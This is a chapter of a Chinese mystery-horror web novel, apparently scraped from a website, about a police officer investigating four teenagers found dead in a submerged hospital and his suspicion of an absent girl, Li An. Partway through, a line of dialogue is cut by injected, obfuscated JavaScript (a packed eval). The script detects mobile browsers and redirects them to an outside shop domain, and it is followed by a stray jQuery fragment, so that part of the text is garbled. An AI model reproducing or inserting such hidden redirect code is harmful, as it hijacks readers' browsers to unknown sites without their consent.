◆
黄昏的锈水河边,站满了人。
高跟鞋踩在泥地里,陷进去个坑,女人的喊声穿过人群,尖得像哨子,“我儿子是不可能淹死在河里的!他又壮又聪明,水性特别好,他一定是洗了个澡,就去别处玩了!你们为什么给我打电话说他死了!”
“王女士,请不要激动。”披着雨披的年轻警察,拦住她的指责。
“你是哪个?”王卡莱抹了抹脸上的雨珠,仔细辨认,“休二警官呢!”
有人在她身后提醒,“都怪咱们老给他叫休二休二的,他好像被顶了呀蒋司妈妈。”
“干一天休两天的警官,的确是要停职调查一下的。你好王女士,我是上都过来的特派警员边理,你儿子失踪的案子由我负责。”
边理没来过锈水镇,到职第一天就听说,镇上有名的河流近几年来水位首次下沉了。他隐约感到不安,毕竟上都是特意让他调来这里的。
“我不管你是谁,我儿子没有死!”王卡莱盯着他,强烈否认。
“电话里只是通知您失踪,没有确认死亡,女士。”男人面无表情交代,“但有人在今天下午,见到您儿子下到锈水河中了。同行的周丽丽尸体,在河流下游被发现,您儿子目前也没有回家,我们因此推测,他们在水涨上来之前,遭到了意外。据说他们进入了河里的一座医院中,你知道吗?”
女人听到丽丽死了,蒋司还可能进到了光明医院,快速愣神,“是……是有家医院。”
“你儿子也叫上了我儿子!”马文爸爸站在边理另一侧,打伞的手从右换到左,又从左换到右,“我儿子很听话的,如果不是你儿子撺掇,他怎么会来!他答应过我,下面露出什么都不会看!”
王卡莱哪听过马自强这样跟她说话,张口就骂,“你儿子是什么东西,撒谎精,他说的话也就你信!他和你一样整天吹牛当饭吃,也就我儿子带他玩,没我儿子你儿子早死八百回了!”
“你这女人不积口德,你儿子才该死!!”
“都让一让,谁说我女儿死了?她死了,以后谁给我做饭??”
边理仰头,看着眼前河上湍急的水流,听见身后周丽丽爸爸荒唐赶到。他眼皮下拉一瞬,似乎已经知晓并接受,自己来到了怎样一个地方。
饭点到了,回去了一批人。随着水下搜救队的人员过来,又涌入一批。但人手实在太少,打捞缓慢。
沈奶奶赶到时,抓了一个路人问,“你们有看着,我家3个孩子吗?”
“啥呀,你家小孩也没回家?”
几小时后,搜救队从河底的医院建筑里,拉上来4具尸体。
王卡莱和马自强哭得昏天暗地,边理还在意外,怎么多出2具时,一位老妇人被群众让进来。
那些人显然认得另外的孩子。
边理看着老人颤抖着手指,摸上里面一个女孩的脸,摸上她凹陷的眼眶。
“瞳瞳啊啊啊——”
◆
边理坐在桌前整理资料,顺便打开手腕上安装的芯体视网,接收消息。
「小边,祝你一路顺风。」
「儿子,你姐说那个叫锈水镇的地方没人,气候怪异,闹鬼!你在上都年年考第一,怎么把你分配到那种地界去了,你为什么不早点跟妈妈说,你让我怎么睡着觉。」
「边理,我们还是分手吧。」
男人听完只回了母亲,然后查了下上都的天气和实时新闻,没什么异样就关闭了网络,拿出笔在纸上记录。
他写了几个字,办公室热得惊人,汗不小心滴在上面。
奇怪的是,笔记没有晕开,字迹如打印进纸张上般。
他猜测,锈水镇湿热,大概文字为了保存,纸和笔都做过防水设计。以至于搜救队的水下录像中,多年前的建筑里,还保存着清晰的文字碎片。
但他不觉得那是谁留下的,更像是特意收集过的,原本散落在不显眼的地方。而且都集中在那群少年身边,应该是他们找到的,想要带出来。
不过那些资料他看了几遍,只是眼科医院中,一些普通的眼球摘除手术,换眼手术而已。
他毫无头绪,看着手中4个少年的照片发呆,尸体能证明是谋杀,只有下游找到的女孩是溺亡的。
当时收队时,人群议论纷纷,有人说是异人干的,有人说是「河神诅咒」,有人说他们得罪了「那些人」。
还有一些在问,黎安呢?
“黎安是谁?”边理搭话路人。
“噢,里面有俩小孩不是沈奶奶家的吗,但他们家还有一个女孩一样大,整天在一起,没在里面。”
“没在吗?”边理警惕,“她是不是跟他们有过节??有没有可能是她做的?”
“哪能啊,仨孩子好着呢。那姑娘眼睛不好,胆子也小,鱼都杀不了吧咋杀人,警官你也看到那些孩子的死相了,挖心又刨腹的,肯定是异人干的。她一个半瞎走路都费劲,哪有那大力气。”
“她是瞎子?”
“啊,近视。”
边理手杵着额头,半晌后在老旧电脑中检索。
黎安,19岁,锈水镇大学在读,孤儿,被从小收养在沈瞳家。他又检索了沈瞳和李昂的信息,比起这俩混世魔王,黎安的生平干净到寥寥无几。
他们应该,压根就没在一起吧。
但作为家人和朋友,她为什么没有在案发现场出现?也不知道回家了没有……
边理思考着,抬头看了一眼办公室外,唯一一个值班的警员打了个哈欠。男人这才注意到时间,已经接近10点了。
他起身准备回宿舍,离开座位前又停下。他还是很在意。
边理:“喂?沈奶奶,我想问下,黎安回家了吗?”
沈奶奶:“……你是谁呀……我现在没心情接电话哎……”
“奶奶我是负责您孙女死亡案的警官,边理。我们傍晚有见过。”
“是警察啊……你们什么时候把孩子给我送回来……我们要看最后一面……还要下葬呢……”
“很快的奶奶,明天尸检完毕,就给您送回去。所以黎安回来了吗?”
对面情绪激动的老人,听到他再次提出这个问题后,忽然顿了一会,平静着,“回来了。她下午在学校,晚上回来才听说瞳瞳他们没了。”
“那她能听电话吗?或者,明天我可以去见见她吗?想向她了解一下关
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789653|210337||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
于沈瞳李昂的事情。”
“孩子情绪不太好,明天叫她直接去你那问吧,今天太晚了……我们都很难受……”
夜雨一直下,边理不知道警局到黎安家脚程多久,只能让步。
“好,您要节哀。”
◆
次日,尸体都运回去了,边理与法医讨论了许久现场。可直到傍晚,黎安也没来。
马文是被钝器砸中头部死亡,在蒋司身边发现了一个锤子,经化验上面有马文和李昂的血迹,以及蒋司的指纹。
除此之外,李昂还被刀具划伤了脖子和腹部,他身边发现一把手术刀,上面有李昂的血,蒋司的指纹。
蒋司同样被手术刀从背后重击了心脏,但袭击蒋司的手术刀没有找到。
而沈瞳身上有致幻物残留,眼睛更是感染致幻物严重,她是被异人所杀。
他推测,这群人可能发生了内斗,蒋司有致命武器,将马文和李昂杀害,但最后被拿手术刀的异人反杀了。
只是,有些说不通。异人能用致幻物杀死沈瞳,何必还用手术刀杀蒋司呢?
异人要沈瞳的眼睛做什么?三个男孩为何厮杀?袭击蒋司的会不会是……周丽丽?
……怎么可能是周丽丽,一个不到20岁的女孩,是不可能在对方有锤子有手术刀的情况下,将一个强壮少年挖心的。
他靠在椅背上,看着时间。
黎安还是没来。
边理:“沈奶奶是我,昨天的警察。我想问下,黎安今天怎么没有来?”
沈奶奶:“哦哦,她上学忙,上午跟学校请了好几天假,尸体送回来后跟我们忙了一下午,没时间,应该明天去。”
如果不是周丽丽,那就更不可能是黎安了。
“奶奶,黎安昨晚真的回家了吗?”
“回了啊。”
可是警察的直觉,让边理一直都对那个始终未出现的女孩,感到不对劲。
“那她现在在哪里,在家吗?我现在就过去,让她不要走动,等我过来。”
沈奶奶也没阻止,说家里这边正处理丧事好多人,叫他不要耽误孩子出殡,就把电话挂了。
边理急忙出门,捞起办公室的跟班警官,“小雷,跟我走一趟。”
雷城:“去哪啊,头?”
边理:“沈瞳家你知道吗?”
“知道,你找谁?”
“黎安。”
“找她干嘛?你不会怀疑她有嫌疑吧。”
“从证据链上来讲,她几乎没有可能。但我总觉得不太对劲,想去问问。”
“那你怎么不一早就去呢,或者昨晚去?”
“什么意思?”
“如果是她作案,证据很可能已经全部消失了。我们锈水镇情况特殊,是没有监控的。”
“……”
◆
边理急了,怀疑自己真错过了什么。
可还没等走出警局,搜救队的人匆匆赶来拦住他,“边警官,正找你呢。我们在水下,有一个重大发现。”
男人头上的青筋突突的,“什么发现?”
“找到了一个,被手术刀挖心、挖眼、死掉的异人。”